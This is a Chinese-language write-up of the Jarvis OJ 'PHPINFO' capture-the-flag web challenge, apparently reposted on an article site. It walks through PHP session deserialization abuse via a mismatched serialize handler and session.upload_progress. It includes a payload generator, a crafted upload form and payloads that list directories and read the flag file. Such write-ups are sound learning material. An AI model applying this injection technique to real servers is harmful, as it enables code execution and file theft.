Jarvis OJ WEB PHPINFO
程序员文章站
2022-05-16 09:11:24
...
Jarvis OJ WEB PHPINFO
session反序列化的题目,很少做,貌似也不会,这里记一下
打开题目可以得到源码:
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>
粗略看一下代码,可以发现OowoO类中存在命令执行:
很显然只要我们能够控制$this->mdzz
这个变量那我们就能为所欲为!!!
不过关键的是我们该如何控制这里呢,这里不存在unserialize反序列化漏洞
而且没有明显的传值的利用方式,唯一可以看见的是:ini_set('session.serialize_handler', 'php');
再查看一下phpinfo(),默认session.serialize_handler为php_serialize,而这里却设置为php:
看到这里,已经很明显了,这里存在session反序列化问题
看一下这篇文章:PHP Session 序列化及反序列化处理器设置使用不当带来的安全隐患
主要就是因为处理器的对应的处理格式不同导致的安全问题,
而且上面这篇文章说的很清楚了,就不再多说
不过这样还是不够,因为我们还是无法控制$this->mdzz
这个变量,这样就引出了第二个知识点:
上传进度支持(session.upload_progress)
这样我们就能够把我们的数据传入到session中,然后利用session处理器的问题进行反序列化
这样我们就能够控制$this->mdzz
这个变量,然后为所欲为 ~~~
查看一下phpinfo():
是的!!!可以利用!!!
首先先构造一个序列化,也就是payload:
<?php
class OowoO{
public $mdzz='var_dump(scandir("/opt/lampp/htdocs/"));';#路径由phpinfo所知
}
$zz = new OowoO();
$md = serialize($zz)."\n";
echo $md;
#为了防止转义,双引号前面加上\
$payload = "";
for($i = 0; $i < strlen($md); $i++){
if($md[$i] == '"'){
$payload .= "\\\"";
}else{
$payload .= $md[$i];
}
}
echo $payload;
?>
得到:
O:5:"OowoO":1:{s:4:"mdzz";s:40:"var_dump(scandir("/opt/lampp/htdocs/"));";}
O:5:\"OowoO\":1:{s:4:\"mdzz\";s:40:\"var_dump(scandir(\"/opt/lampp/htdocs/\"));\";}
然后我们自己写一个提交表单页面:
<!DOCTYPE html>
<html>
<head>
<title>A_dmin</title>
<meta charset="utf-8">
</head>
<body>
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
提交进行抓包,,,,
在每个前面加上一个|
,然后在文件名处修改为payload得到:
读取flag:
class OowoO{
public $mdzz='var_dump(readfile("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));';
}
得到flag:
下一篇: jarvis oj(web wp)